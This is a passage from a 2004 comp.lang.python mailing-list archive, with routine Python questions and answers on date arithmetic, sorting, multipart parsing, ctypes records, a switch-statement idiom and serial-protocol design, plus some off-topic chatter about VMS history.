more. the issue was that other system >components had increased in performance by 40-50 times ... while disks >had only increased in performance by 4-5 times ... making relative >disk system performance 1/10th what it had been. misc. past posts >about the gpd performance group looking at the relative system >performance issue: And we are still on that line. Nowadays most heavy production database data really stays in memory; with the disk as a backup medium. -- mrr From fuzzyman at gmail.com Fri Sep 24 09:30:06 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 24 Sep 2004 06:30:06 -0700 Subject: Check for presence fo directory References: <415399c4$1@news.unimelb.edu.au> Message-ID: <6f402501.0409240530.8220068@posting.google.com> Maurice LING wrote in message news:<415399c4$1 at news.unimelb.edu.au>... > > Should we assume you're rejecting os.path.exists() for some reason? > > > You can assume Maurice.knowledge(os.path.exists()) to raise an > exception. Thanks, I guess os.path.exists() is the one to use. > > Cheers > Maurice Maurice.knowledge(os.path.exists()) ought to return False rather than raising an exception. It sounds like you're running an old version of Maurice ? ;-) Regards, Fuzz http://www.voidspace.org.uk/atlantibots/pythonutils.html From bokr at oz.net Thu Sep 23 15:04:22 2004 From: bokr at oz.net (Bengt Richter) Date: 23 Sep 2004 19:04:22 GMT Subject: incrementing a time tuple by one day References: Message-ID: On Thu, 23 Sep 2004 16:22:08 +0000, "David Stockwell" wrote: >I'm sure this has been asked before, but I wasn't able to find it. > >First off I know u can't change a tuple but if I wanted to increment a time >tuple by one day what is the standard method to do that? > >I've tried the obvious things and haven't gotten very far. > >I have a time tuple that was created like this: >aDate = '19920228' >x = time.strptime(aDate,"%Y%m%d") >print x >(1992, 2, 28, 0, 0, 0, 4, 59, -1) > >y = time.mktime(x) + time.mktime((0,0,1,0,0,0,0,0,0)) >print y >1643277600.0 >print time.ctime(y) >'Thu Jan 27 05:00:00 2022' ^^^^ the trouble is that you are adding a time delta in seconds since some epoch instead of adding 24*60*60 seconds (one day). Note your supposed 1-day delta value in seconds: >>> time.mktime((0,0,1,0,0,0,0,0,0)) 944035200.0 Or in days: >>> time.mktime((0,0,1,0,0,0,0,0,0))/(60*60*24) 10926.333333333334 >>> import time >>> aDate = '19920228' >>> x = time.strptime(aDate,"%Y%m%d") >>> print x (1992, 2, 28, 0, 0, 0, 4, 59, -1) >>> y = time.mktime(x) + time.mktime((0,0,1,0,0,0,0,0,0)) >>> z = time.mktime(x) + 24*60*60 >>> print time.ctime(y) Thu Jan 27 08:00:00 2022 >>> print time.ctime(z) Sat Feb 29 00:00:00 1992 >>> print time.ctime(time.mktime(x)) Fri Feb 28 00:00:00 1992 To get a one-day delta, you could calculate it (in general you'd have to watch out for leap stuff, but this case seems to work) >>> time.mktime((0,0,1,0,0,0,0,0,0)) - time.mktime((0,0,0,0,0,0,0,0,0)) 86400.0 >>> oneday = time.mktime((0,0,1,0,0,0,0,0,0)) - time.mktime((0,0,0,0,0,0,0,0,0)) >>> time.ctime(time.mktime(x)+oneday) 'Sat Feb 29 00:00:00 1992' > >It appears to have decremented by a day and a month instead of increment. You didn't read the entire date ;-) > >What am I doing wrong? Misinterpreting time.mktime((0,0,0,0,0,0,0,0,0)) as being zero-based? >>> time.mktime((0,0,0,0,0,0,0,0,0)) 943948800.0 Regards, Bengt Richter From nobody at nowhere.com Tue Sep 28 09:30:34 2004 From: nobody at nowhere.com (Yannick Turgeon) Date: Tue, 28 Sep 2004 09:30:34 -0400 Subject: SimpleXMLRPCServer References: Message-ID: "Jeremy Jones" wrote in message news:mailman.3983.1096327706.5135.python-list at python.org... > > Yannick Turgeon wrote: > >> "Simple". What are its limitations? > > > Simple indeed. I don't know for sure the reasons for naming it > "Simple". But it may have to do with the fact that the out-of-the-box > SimpleXMLRPCServer will only handle one request at a time Oh! Ok, that's good. Thanks. Yannick From aleaxit at yahoo.com Tue Sep 28 08:37:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 28 Sep 2004 14:37:31 +0200 Subject: Metaclass with name overloading. References: Message-ID: <1gktv1h.lew418131v342N%aleaxit@yahoo.com> Carlos Ribeiro wrote: ... > Generic templating mechanisms start as simple variable substitution > engines, but as they start to be used, there's the need to add control > structures (if, for, etc); it's also needed to provide more ways for > the template to communicate with the main program, exchanging > variables and values. At this point, wouldn't be better to write all > templates in the main programming language of the system? At this point, your templating is not declarative -- it's imperative. Like everything in Python, btw -- not ONE 'declarative' in sight (except the 'global' statement, which is part of what makes it a wart;-). There IS a case for purely declarative stuff _embedding_ Python code, like strakt.com's "blam" (purely informal name, as Strakt's marketing may lot like it, we just can't keep saying "Business Logic Module Language" forever;-) does for (basically) ERD + actions/triggers. The embedding makes the whole non-declarative, of course. But the declarative part can still be way prettier than it would be if it wasn't a separate language, e.g. it could use such keywords as 'entity', 'relation', 'attribute' and the like... Alex From ptmcg at austin.rr._bogus_.com Fri Sep 3 16:26:13 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 03 Sep 2004 20:26:13 GMT Subject: What about an EXPLICIT naming scheme for built-ins? References: Message-ID: "David Fraser" wrote in message news:chai28$pd8$1 at ctb-nnrp2.saix.net... > Marco Aschwanden wrote: > > I just read the changes for 2.4 and while scanning the list the past > > tense built-ins got my attention: > > > > sorted() - a new builtin sorted() acts like an in-place list.sort() but > > can be used in expressions, as it returns a copy of the sequence, sorted. > > > > reversed() - a new builtin that takes a sequence and returns an iterator > > that loops over the elements of the sequence in reverse order (PEP 322) > > > > > > sort() works in-place. > > reverse() works in-place. > > > > How about reversed() returning a sequence, like sorted does, but adding > an iterator function called riter or reverseiter to iterate over > sequences in reverse order. That would then be similar to the iter > builtin. You could have a sortediter as well > > David Huh! I just assumed that sorted() and reversed() would both return new lists, one sorted, and one reversed. I should think if you wanted an iterator, you could use iter(sorted(x)) or iter(reversed(x)). But to get an iterator over the reverse of a sequence, without making a copy of the sequence, then this should have a different name, something like riter, or reverse_iter. In the current system, how does one construct a reversed list? - revx = x[::-1] - revx = [ i for i in reversed(x) ] - revx = [tooth for tooth in ... ] # not a real example, just wanted to follow up after "i for i" (What if you wrote a sorted_iter that would iterate over an existing list in sorted order?) -- Paul From surfmatj at email.si Wed Sep 22 08:53:40 2004 From: surfmatj at email.si (Matjaz) Date: Wed, 22 Sep 2004 14:53:40 +0200 Subject: Python lists ans sequence protocol from C API Message-ID: Dear all, I have run into a problem using python lists and sequence protocol. The first code snippet uses explicit list operations and works fine. PyObject *argseq, *ov; int i, v, len; len = 2; argseq = PyList_New(len); for (i=0; i <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> Message-ID: <1gjlqmc.wopbzc1i840fmN%aleaxit@yahoo.com> Andrew Dalke wrote: ... > In Python2.4 this is allowed > > >>> hist = [ 0, 1, 0, 5, 43 ] > >>> [pair[0] for pair in sorted(enumerate(hist), > ... key=lambda pair: pair[1])] > [0, 2, 1, 3, 4] > >>> > > Not yet sure that that's a good thing. it makes the fast (DSU) way of sorting easier, and can be sped up further as: [ p[0] for p in sorted(enumerate(hist), operator.itemgetter(1)) ] The new itemgetter and attrgetter HOFs in module operator are quite good for this kind of use (which is exactly why they got introduced). Alex From maxm at mxm.dk Tue Sep 14 08:06:56 2004 From: maxm at mxm.dk (Max M) Date: Tue, 14 Sep 2004 14:06:56 +0200 Subject: PIL - setting the width of lines in ImageDraw In-Reply-To: References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk> <414682eb$0$301$edfadb0f@dread12.news.tele.dk> Message-ID: <4146de82$0$275$edfadb0f@dread12.news.tele.dk> John Hunter wrote: > In matplotlib, you can draw antialiased lines with any color, style, > and width you want. And we'll do the calculations for you (TM) Ah great. Thank you. I will defintely need something along those lines (ba-da-bum) in short time, so that is handy. regards Max M From timr at probo.com Sun Sep 26 02:23:23 2004 From: timr at probo.com (Tim Roberts) Date: Sat, 25 Sep 2004 23:23:23 -0700 Subject: How to parse multi-part content References: <2rjb2cF1b34ofU1@uni-berlin.de> Message-ID: Dave Kuhlman wrote: > >Suppose that I have content that looks like what I've included at >the end of this message. Is there something in the standard >Python library that will help me parse it, break into the parts >separated by the boundary strings, extract headers from each >sub-part, etc? >... >In case you are curious, this is content posted to my Zope server >when I include an element '' in my form. Actually, you get this because your
header has enctype="multipart/form-data". It happens that file upload only works with that enctype, but you can use it without a file upload. That's why cgi.py knows how to parse this. Look at cgi.parse_multipart. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From roy at panix.com Thu Sep 16 09:30:11 2004 From: roy at panix.com (Roy Smith) Date: Thu, 16 Sep 2004 09:30:11 -0400 Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> <1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) wrote: > Copy and paste is a BAD way to reuse software. Very, very bad. Anybody > with the least experience maintaining big programs will confirm. Absolutely agree. A while ago, I was working on a piece of code written by somebody who didn't believe in this. I found a bug and fixed it. Sometime later, we realized the fix was wrong and I went back to make an additional change. I was surprised when the file I was looking at appeared to be the original code. Where had my first change gone? We spent an afternoon looking through CVS logs, getting ourselves more and more convinced that CVS had somehow messed up. It turns out, the fix I made was in a huge function (100's of lines) which somebody had cut-and-pasted to make three versions which did almost identical things. And then they gave the functions almost identical names, along the lines of: sendMessageToServerWithAlertCondition () sendMessageToServerWithErrorCondition () sendMessageToServerWithOtherCondition () So, yeah, Alex is right. Don't do that. From joh12005 at yahoo.fr Wed Sep 8 16:26:10 2004 From: joh12005 at yahoo.fr (Joh) Date: 8 Sep 2004 13:26:10 -0700 Subject: how to build simple FSM using generators ? Message-ID: <63b5e209.0409081226.516e771e@posting.google.com> hello, i've readed "Charming Python: Generator-based state machines" www-106.ibm.com/developerworks/ linux/library/l-pygen.html , but i still can not get the point on how using generator for FSM i'm interested in a very simple FSM which would be able to recognize consecutive sequence of texts, please can someone give me a hint on how to do this using yield ? by now, my fsm is something like, having a "previous state", iterating in a while 1 loop, advancing "previous state" to recognized word and if len(recognized all words) is matched then a sequence had been recognized, whatever else re-init FSM ; but can not understand how could yield help me... thx. From aleaxit at yahoo.com Thu Sep 9 16:27:02 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 22:27:02 +0200 Subject: Is there no switch function in Python References: Message-ID: <1gjv9x9.ory9xvc5569dN%aleaxit@yahoo.com> Rudi Hansen wrote: > I dont seem to be able to find the switch statement in Python. Right, there isn't one. > > I would like to be able to do > > switch(var) > case 1 : > print "var = 1" > case 2: > print "var = 2" > > But it seems that i have to do. > > if(var=1) > print "var =1" > elseif(var=2) > print "var=2" > > Is ther no easier way?? several, starting with if var in (1,2): print 'var = %s' % var The most Pythonic idiom, when you have to do something substantial in each branch of the switch, is a dictionary of callables -- in this toy case it might be: switch = {1: lambda: sys.stdout.write('var=1\n'), 2: lambda: sys.stdout.write('var=2\n'), } switch.get(var, lambda: '')() An if/elif tree is also fine, though the syntax is not as you think...: if var == 1: print 'var is one' elif var == 2: print 'var is two' Alex From http Thu Sep 30 23:10:38 2004 From: http (Paul Rubin) Date: 30 Sep 2004 20:10:38 -0700 Subject: Reading a text file backwards References: <1096591274.689794.313540@k17g2000odb.googlegroups.com> Message-ID: <7xis9vi15d.fsf@ruckus.brouhaha.com> Andrew Dalke writes: > > It's just shifting the burden perhaps, but if you're on a Unix system > > you should be able to use tac(1) to reverse your file a bit faster: > > Huh. Hadn't heard of that one. It's not installed > on my OS X box. It's on my FreeBSD account as gtac. > Ah, but it is available on a Linux account. You can try tail(1). From cjblaine at gmail.com Fri Sep 17 16:49:42 2004 From: cjblaine at gmail.com (Jeff Blaine) Date: Fri, 17 Sep 2004 20:49:42 GMT Subject: Changes in this release docs In-Reply-To: <414b400c$0$24870$9b622d9e@news.freenet.de> References: <414b400c$0$24870$9b622d9e@news.freenet.de> Message-ID: Martin v. L?wis wrote: >> Something that has always bothered me about the 'Changes in this >> release' docs for new features (generators for instance): There's >> usually no explanation for why the feature was added. > > Which document are you specifically referring to? AFAICT, there is > no document titled "Changes in this release", atleast not for Python. I guess I should have used the exact wording. http://docs.python.org/whatsnew/whatsnew23.html >> I don't think it's reasonable to expect language _users_ to keep >> up with PEPs, etc. > > But is it asked to much for users to read the PEP when they want > to find out the rationale for a change? I'm not really interested in rationalization of a change. That's what the PEPs are for. I don't really know how to respond to you. I know my point and how I feel about it and why I had a "reaction" to what I was reading. Personally, I think it's something that would better Python release notes with minimal effort and get people up to speed better, faster, etc. That said, I wholeheartedly thank Andrew K. for his many years of work on the language, and don't mean to slight his document. Merely a suggestion. Bye. From cjw at sympatico.ca Thu Sep 2 14:36:40 2004 From: cjw at sympatico.ca (Colin J. Williams) Date: Thu, 02 Sep 2004 14:36:40 -0400 Subject: Tuple question In-Reply-To: References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> Message-ID: <41376838.2050008@sympatico.ca> Wai Yip Tung wrote: > Oops I misunderstood that you said about count and index. Now I got it. > > Speaking as a user of Python, here is my take: > > You consider tuple an immutable version of list. But in Python's design > they have different purpose. List a collection of homogeneous items, > while tuple is a convenient grouping of any kind of items. For > example, you can use them this way: > > users = ['admin', 'user1', 'user2'] > address = ('www.python.org', 80) > > index and count only make sense when the collection is homogeneous. What about: addresses= list(address) print addresses users.append(address) print users Colin W. > Therefore they are not defined for tuple. > > tung > > On Thu, 02 Sep 2004 17:40:27 +0100, Will McGugan > wrote: > >> Wai Yip Tung wrote: >> >>> I'm not sure what do you mean by index. But you can use len() to get >>> the number of objects in a tuple. e.g. >>> >>>>>> t=(1,2,3) >>>>>> len(t) >>> >>> 3 >>> >>>>>> t[2] >>> >>> 3 >>> >> >> Lista have an index method that returns the index of the first >> occurance of an element, but tuple doesnt (nor count). Just wondering >> why. >> >> >>> l= [ 1, 2, 3 ] >> >>> t= ( 1, 2, 3 ) >> >>> l.index(2) >> 1 >> >>> t.index(2) >> Traceback (most recent call last): >> File "", line 1, in ? >> t.index(2) >> AttributeError: 'tuple' object has no attribute 'index' > > From tiarno at sas.com Thu Sep 9 13:10:05 2004 From: tiarno at sas.com (Tim Arnold) Date: Thu, 9 Sep 2004 13:10:05 -0400 Subject: Variable passing between modules. References: Message-ID: -----Original Message----- From: python-list-bounces+moiz.golawala=ge.com at python.org [mailto:python-list-bounces+moiz.golawala=ge.com at python.org]On Behalf Of Jeff Shannon Sent: Wednesday, September 08, 2004 5:37 PM To: python-list at python.org Subject: Re: Variable passing between modules. Golawala, Moiz M (GE Infrastructure) wrote: >Hi All, > >I want to pass a value between 2 modules. Both the modules are scripts (no classes involved). Does anyone know how I can do that. For eg: > What about using an environment variable to hold the value? --Tim From saperlipopette at gmx.ch Mon Sep 13 17:32:17 2004 From: saperlipopette at gmx.ch (haddock) Date: 13 Sep 2004 14:32:17 -0700 Subject: access tga image size Message-ID: <8c2f23c.0409131332.41657a38@posting.google.com> hi all Is it possible to access the size (with and height) of a .tga image in python? From the documentation I would say no, but I'm pretty new to python... if the answer really is no, has someone a suggestion how else I could write a little script that computes the total area of a large nuber of image files in a folder? I should check texturespace for 3D Models, and would like to avoid copy pasting them all into Photoshop... thanks for your trouble haddock From lbates at swamisoft.com Mon Sep 20 14:50:55 2004 From: lbates at swamisoft.com (Larry Bates) Date: Mon, 20 Sep 2004 13:50:55 -0500 Subject: Shopping cart References: <81a41dd.0409200816.5659197b@posting.google.com> Message-ID: There are a couple for Zope that would be written in Python. http://zope.org/Products/commerce Larry Bates "Lad" wrote in message news:81a41dd.0409200816.5659197b at posting.google.com... > Is there a shopping cart in Python available? From smcg4191 at frii.RimoovThisToReply.com Sat Sep 18 18:23:40 2004 From: smcg4191 at frii.RimoovThisToReply.com (Stuart McGraw) Date: Sat, 18 Sep 2004 16:23:40 -0600 Subject: bad data from urllib when run from MS .bat file Message-ID: <414cb56d$0$58900$75868355@news.frii.net> I just spent a $*#@!*&^&% hour registering at ^$#@#%^ Sourceforce and trying to submit a Python bug report but it still won't let me. I give up. Maybe someone who cares will see this post, or maybe it will save time for someone else who runs into this problem... ================================================ Environment: - Microsoft Windows 2000 Pro - Python 2.3.4 - urllib (version shipped with Python-2.3.4) Problem: urllib returns corrupted data when reading an EUC-JP encoded web page, from a python script run from a MS Windows .BAT file, but not when the same script is run from the command line. Note: To reproduce this problem, it helps to have East Asian font support installed on the test system. In Windows 2000: Control Panel, Regional Options, General tab check mark in Japanese in the "Language seetings..." area. Python also needs either the cjkcodecs (http://cjkpython.berlios.de/) or Tamito KAJIYAMA's japanese codecs (http://www.asahi-net.or.jp/~rd6t-kjym/python/) installed. To reproduce the problem... 1. Create a python file, test.py: test.py: ---------------- import sys, urllib, cjkcodecs f = urllib.urlopen (sys.argv[1]) for ln in f: ln = ln.decode ("cjkcodecs.euc-jp") print ln.encode("utf-8"), ---------------- 2. Create a batch file that will run test.py: test.bat: ---------------- python test.py http://etext.lib.virginia.edu/cgi-local/breen/wwwjdic?1W%BF%A9%A4%D9%A4%EB_v1 ---------------- 3. In a cmd.exe window run the following two commands: python test.py http://etext.lib.virginia.edu/cgi-local/breen/wwwjdic?1W%BF%A9%A4%D9%A4%EB_v1 >out1.txt test.bat >out2.txt 4. out1.txt and out2.txt should be identical. But they are not. The url used will return a EUC-JP encoded page with some japanese characters in it. Test.py reads the page line by line, decodes the lines to unicode, reencodes them to UTF-8, and writes to a file. Thus the output file should be a UTF-8 version of the EUC-JP web page. The first command runs test.py directly. The second command runs the identical command from a Windows batch file. One should expect out1.txt and out2.txt to be identical. out1.txt (created by running test.py from the command line) is correct (verify by opening out1.txt in notepad, and selecting a Japanese capable font, e.g. Lucida Sans Unicode). The string in the first cell of the html table is the three japanese characters for word "taberu". But in out2.txt (created by running test.py from a windows .bat file), instead of japanese characters there, we see an ascii text string "A9D9EB". (The EUC-JP value of the actual japanese characters that should be there are \xBF\xA9\xA4\xD9\XA4\xEB, so the printed hex digits seems to come from alternate bytes of the EUC-JP string. In other lines with japanese characters a similar effect is seen: the first two japanese character are replaced with with a string of hex digits. Strangely, remaining japanese characters on the line are not corrupted. Running with a debugger shows that the corruption is in the text received from urllib; it is not a result of the euc-jp decoding, UTF-8 encoding, or writing to the output file. So it looks like some bad mojo between urllib and the Windows batch environment. From erik at heneryd.com Wed Sep 22 11:28:43 2004 From: erik at heneryd.com (Erik Heneryd) Date: Wed, 22 Sep 2004 17:28:43 +0200 Subject: New to Python In-Reply-To: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> Message-ID: <41519A2B.4010405@heneryd.com> Delaney, Timothy C (Timothy) wrote: > Jimmie Webb wrote: > > >>Gee whiz. Don't jump down my throat for some oversite. It's not >>like I haven't put forth an effort trying to find out the problem >>before posting! Yeah, your right I was reading the "CREATE TABLE >>line out of the SIL file. Thanks (I think) > > > http://www.catb.org/~esr/faqs/smart-questions.html > > As far as anyone could see, you didn't do even the most basic debugging. > > Tim Delaney Haven't followed the thread, but... I can't help to crack a smile every time I see that URL. I doubt it ever helped anyone, still it comes up now and then, typically when people get tired of answering stupid questions from lazy newbies. So, how likely is it that people too lazy to RTFM/STFW will even consider some 10 000 word article (on *asking questions*, not whatever their problem might be)? Not very, I say. Most will probably not even get past the *table of contents*. Funny thing is that people don't seem to realize this - that's it's just another way to say "STFU and RTFM, newbie". Erik From jeff at ccvcorp.com Tue Sep 28 15:51:47 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 28 Sep 2004 12:51:47 -0700 Subject: Problem with a dictionary program.... In-Reply-To: References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> <2rt8rsF1ej1qmU1@uni-berlin.de> <415976d1$0$23090$ba624c82@nntp05.dk.telia.net> <10liubfprlt4g9d@corp.supernews.com> <41597d62$0$23054$ba624c82@nntp05.dk.telia.net> <1gku3wn.1o7mvyb1gtif84N%aleaxit@yahoo.com> Message-ID: <10ljg2vl36tb1e@corp.supernews.com> Dan Perl wrote: >>>output = [] >>>for character in indput: >>> output.append(List[character]) >>> print ', '.join(output) >>> >>> >That print statement is actually wrong in many ways. It was probably meant >to be something like > print ','.join(List[int(character)]) # List[int(character)], not >output >but even that would start with ',' and it would be on multiple lines >(probably not your intention). > No, it wouldn't start with ',' -- you're not parsing that line the same way that Python does. ;) aString.join(aList) will combine a list of strings into a single string, using the referenced string as "glue" to stick the pieces together. Thus, when the referenced string is ', ', you'll get "item0, item1, item2". Python will evaluate the call to ', '.join() *before* it prints anything. The print statement is given the resulting (single) string as its argument. Indeed, that line could be split into several lines for clarity: separator = ', ' outputstring = separator.join(output) print outputstring The point here is that the for loop builds a list of strings (called 'output'). *After* the for loop finishes, then str.join() combines that list into a single string, which is printed. However, the O.P. has an indentation problem in his code -- he's put the print statement inside his for loop, which means that every intermediate stage of the partially-built output will get printed as well. All that needs done to fix it is to outdent it one level (as Alex suggested). Your suggestion ("print ','.join(List[int(character)])"), by the way, will give results that are far different from what you expect. ;) >>> List = ['zero', 'one', 'two', 'three'] >>> print ",".join(List[int('3')]) t,h,r,e,e >>> You're correctly looking up the word to use for a given digit, but then you're passing that single string (rather than a list) to join(), which works on any sequence (not just lists). Well, strings are sequences too (a sequence of characters), so join() creates a string with each element (character) of the sequence separated by the specified string (","). Jeff Shannon Technician/Programmer Credit International From jmfbahciv at aol.com Tue Sep 14 06:35:01 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Tue, 14 Sep 04 10:35:01 GMT Subject: Xah Lee's Unixism References: <10kbafn3aq73p37@corp.supernews.com> Message-ID: <4146dc9e$0$2665$61fed72c@news.rcn.com> In article <10kbafn3aq73p37 at corp.supernews.com>, SM Ryan wrote: >Morten Reistad wrote: ># In article , ># Ville Vainio wrote: ># >I'll raise you a Hitler, in a (probably vain) attempt to invoke the ># >Godwin's law. ># ># OK, I'll raise that with a Ghengis Khan and a Pol Pot. > >Hence the well known Usenet acronym PKB: Pol Khan Bloody. I never saw that. Is it new? /BAH Subtract a hundred and four for e-mail. From greg.lindstrom at novasyshealth.com Tue Sep 28 17:08:08 2004 From: greg.lindstrom at novasyshealth.com (Greg Lindstrom) Date: Tue, 28 Sep 2004 16:08:08 -0500 Subject: Extracting Zip Files Message-ID: <01bd01c4a59f$41c21cc0$054b12ac@D18SYX41> I've been zipping up files for months with zipfile, but today I was asked to extract the contents of a zip file and was sure there would be an "extract" method...but there's not one that I can find! Am I just missing something?? I found a module, unzip.py, on Parnassus, but it doesn't work. Does anyone have a way for me to extract files? Thanks! Greg Lindstrom (501) 975-4859 NovaSys Health greg.lindstrom at novasyshealth.com "We are the music makers, and we are the dreamers of dreams" W.W. From jepler at unpythonic.net Wed Sep 1 22:42:21 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 1 Sep 2004 21:42:21 -0500 Subject: Are decorators really that different from metaclasses... In-Reply-To: References: Message-ID: <20040902024221.GA3626@unpythonic.net> I think it's crazy to change the language so that some of these functions give NameErrors when called, and others succeed. def f(): # Succeeds if 1: __x__ = None return __x__ def f2(): # Fails (but identical to above, today) __x__ = None return __x__ def f3(): # but this one succeeds global z __x__ = None return __x__ def f4(): # and so does this one for __x__ in (None,): pass return __x__ def g(): # Succeeds import os as __x__ return __x__ def g2(): # Fails (but identical to above, today) __x__ = __import__("os") return __x__ def h(): # Succeeds class __x__(object): pass return __x__ def h2(): # Fails (but identical to above, today) __x__ = type('__x__', (), {}) def j(): # Succeeds def __x__(): pass return __x__ def j2(): # Fails (but identical to above, today) __x__ = lambda: None return __x__ You complicate the language when you create a new type of assignment that is special not because of the syntax, but because of the location in the suite of "def". You violate the law that most several special statements are expressible in terms of assignment (import, class, and def in terms of __import__, type(), and lambda:) or assignment plus looping (for in terms of while + except + assignment). You also add a new constraint not expressible directly in the Grammar file. What about these? Are 2/3 of them now to be invalid syntax (and the remaining gives NameError)? Or will they all compile, and 2/3 of them give an exception? def k(): __x__, y = range(2) return __x__ def k2(): y, __x__ = range(2) return __x__ def k3(): __y__, __x__ = range(2) return __x__ Have you defined what happens in this case (I imagine that 'False' is the proper output, but I also believe that many would be surprised to get True)? __x__ = False def m(): __x__ = True __y__ = __x__ print m.__y__ Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From jjl at pobox.com Mon Sep 13 15:48:54 2004 From: jjl at pobox.com (John J. Lee) Date: 13 Sep 2004 20:48:54 +0100 Subject: Request Headers In a CGI References: <6f402501.0409100102.3fa002ea@posting.google.com> <6f402501.0409122304.1fa79835@posting.google.com> Message-ID: <87vfei0x21.fsf@pobox.com> fuzzyman at gmail.com (Michael Foord) writes: > Sam Holden wrote in message news:... [...] > > What you want can't be done. You can reconstruct most of what you want > > via the environment, but not all of it. HTTP Authentication passwords > > leap to mind. > > Which means it's impossible to implement basic authentication in > CGI... it has to be done on the server..... (which I can't do)... [...] If your server is running Apache, and it's configured leniently enough (perhaps unlikely), there's a mod_rewrite hack that will allow you to do this, IIRC. John From jmfbahciv at aol.com Sun Sep 5 05:42:19 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Sun, 05 Sep 04 09:42:19 GMT Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <41371e5c$0$19723$61fed72c@news.rcn.com> <20040904.2231.57679snz@dsl.co.uk> Message-ID: <413af268$0$19706$61fed72c@news.rcn.com> In article <20040904.2231.57679snz at dsl.co.uk>, bhk at dsl.co.uk (Brian {Hamilton Kelly}) wrote: >On Thursday, in article > <41371e5c$0$19723$61fed72c at news.rcn.com> jmfbahciv at aol.com > wrote: > >> In article <2mmdj0t6mjgif88en11skbo3n8uiuj46nc at 4ax.com>, >> Brian Inglis wrote: >> >MS has been borrowing code from Unix to create a real OS: TCP/IP; >> >NTFS<-ffs; memory mapped files<-mmap. >> >> All right. Now I'm mystified. Why did they have to borrow code >> from Unix? They already had VMS. ISTM, VMS had all of the >> above. > >VMS (originally) most decidedly did NOT have either TCP/IP or NFS. I thought VMS did get TCP/IP into it. I don't know anything about NFS. >Indeed, it took many years before DEC [sorry, by then it was already >d|i|g|i|t|a|l] had a TCP/IP stack available for VMS --- the dreaded heap >of quivering jelly created by the Eunice idiots. > >Before that, people who needed TCP/IP on a Vax used various third-party >solutions, such as the implementations from Carnegie-Mellon (CMU) Sigh! If CMU had it, I would have assumed it got hornshoed into VMS. > ..or >Wollongong universities. Then, of course, there was what many regarded >as the best TCP/IP stack for VMS, MultiNet from TGV (Two Guys and a VAX). >That product also included a working NFS implementation. Boy, I sure remember a lot of TCP/IP talk over the walls. However, I don't seem to recall what was said nor when. /BAH Subtract a hundred and four for e-mail. From dave at pythonapocrypha.com Fri Sep 10 14:52:08 2004 From: dave at pythonapocrypha.com (Dave Brueck) Date: Fri, 10 Sep 2004 12:52:08 -0600 Subject: Building Very Large Records In-Reply-To: <008f01c49759$1e8e6af0$054b12ac@D18SYX41> References: <008f01c49759$1e8e6af0$054b12ac@D18SYX41> Message-ID: <4141F7D8.2000002@pythonapocrypha.com> Greg Lindstrom wrote: > Hello- > > I am working on a routine to pull information from an Oracle database and > format it into fixed-length records. My problem is that the record layout > is quite long (over 500 bytes) and contains dozens of fields. How would > *you* go about building such a beast? I know that using the += operator is > a bad idea, as it creates a new copy of the string each time. How about the > struct.pack() method? A very big '%-12.12s%-50.50s.......' statement? > Other ideas? It does not have to be blazingly fast, but it doesn't have to > suck, either. I don't know enough about Oracle SQL yet, could I format the > data in the SQL call? Here's what I do, maybe somebody can suggest some improvements upon it: Derive your record from ctypes' Structure class: class XHeader(Structure): _pack_ = 1 # No alignment padding _fields_ = [('ucid', c_ulonglong), ('majorVer', c_ubyte), ('minorVer', c_ubyte), ('extent', c_ulonglong), ('future', c_byte), ('titleLen', c_ubyte)] Then to serialize it to a string: def ObjAsString(obj): 'Takes a ctypes object (works on structures too) and returns it as a string' # There is probably a better way, but this seems to work ok sz = sizeof(obj) RawType = c_char * sz ptr = RawType.from_address(addressof(obj)) return ptr.raw[:sz] To go the other direction: def StringAsObject(s, ObjType): 'Takes a string and returns it as a ctypes object' z = c_buffer(s) x = ObjType.from_address(addressof(z)) x.__internal = z #ugly hack - save a ref to the c_buffer! return x Basic usage is: x = XHeader() x.majorVer = 5 ...etc... StuffIntoDB(ObjAsString(x)) newX = StringAsObject(ReadFromDB(), XHeader) I haven't used it with tons of object instances, so you may need to see if you end up with memory leaks. -Dave From nobody at nowhere.com Thu Sep 23 19:29:25 2004 From: nobody at nowhere.com (Yannick Turgeon) Date: Thu, 23 Sep 2004 19:29:25 -0400 Subject: Design recommendation wanted. Message-ID: Hello all, I'm implementing a protocol to communicate with a server through serial port (Yes Peter and Alex it's me again!). This means looking for lost packet, checksum error, connection failure. Whitout error, the normal course of things is: (C = Client - the one I'm programming, S = Server) Type #1 command: C: Send a packet to ask something S: Reply with the final answer C: Acknowledge reception Type #2 command: C: Send a packet to ask something S: Reply with part of the answer C: Acknowledge reception of the partial answer S: Reply with the following part of the answer C: Acknowledge reception of the partial answer ... S: Confirm the end of the answer C: Acknowledge reception Added to that, the server can send me an error packet due to my last sent packet being lost or checksum error or packet wrongly construct or impossibility to answer my "correctly constructed and received question". It includs in this error whether or not I should resend the last packet. Even more, there is a fixed maximum number of tentative to resent a packet. So my question is a general design one: Anybody has any hint how to handle in a well structured way that much possible errors and situation? How? Say I got 20 commands I can ask to server (which is near the real situation). I tried to make a base Command class that has a function that looks like: def getReply(expected): try: packet = serial.readline() #raise TimeoutError() packet_type, data = decode(packet) #raise FormatPacketError() # ChecksumError() # PacketNumberError() if packet_type == 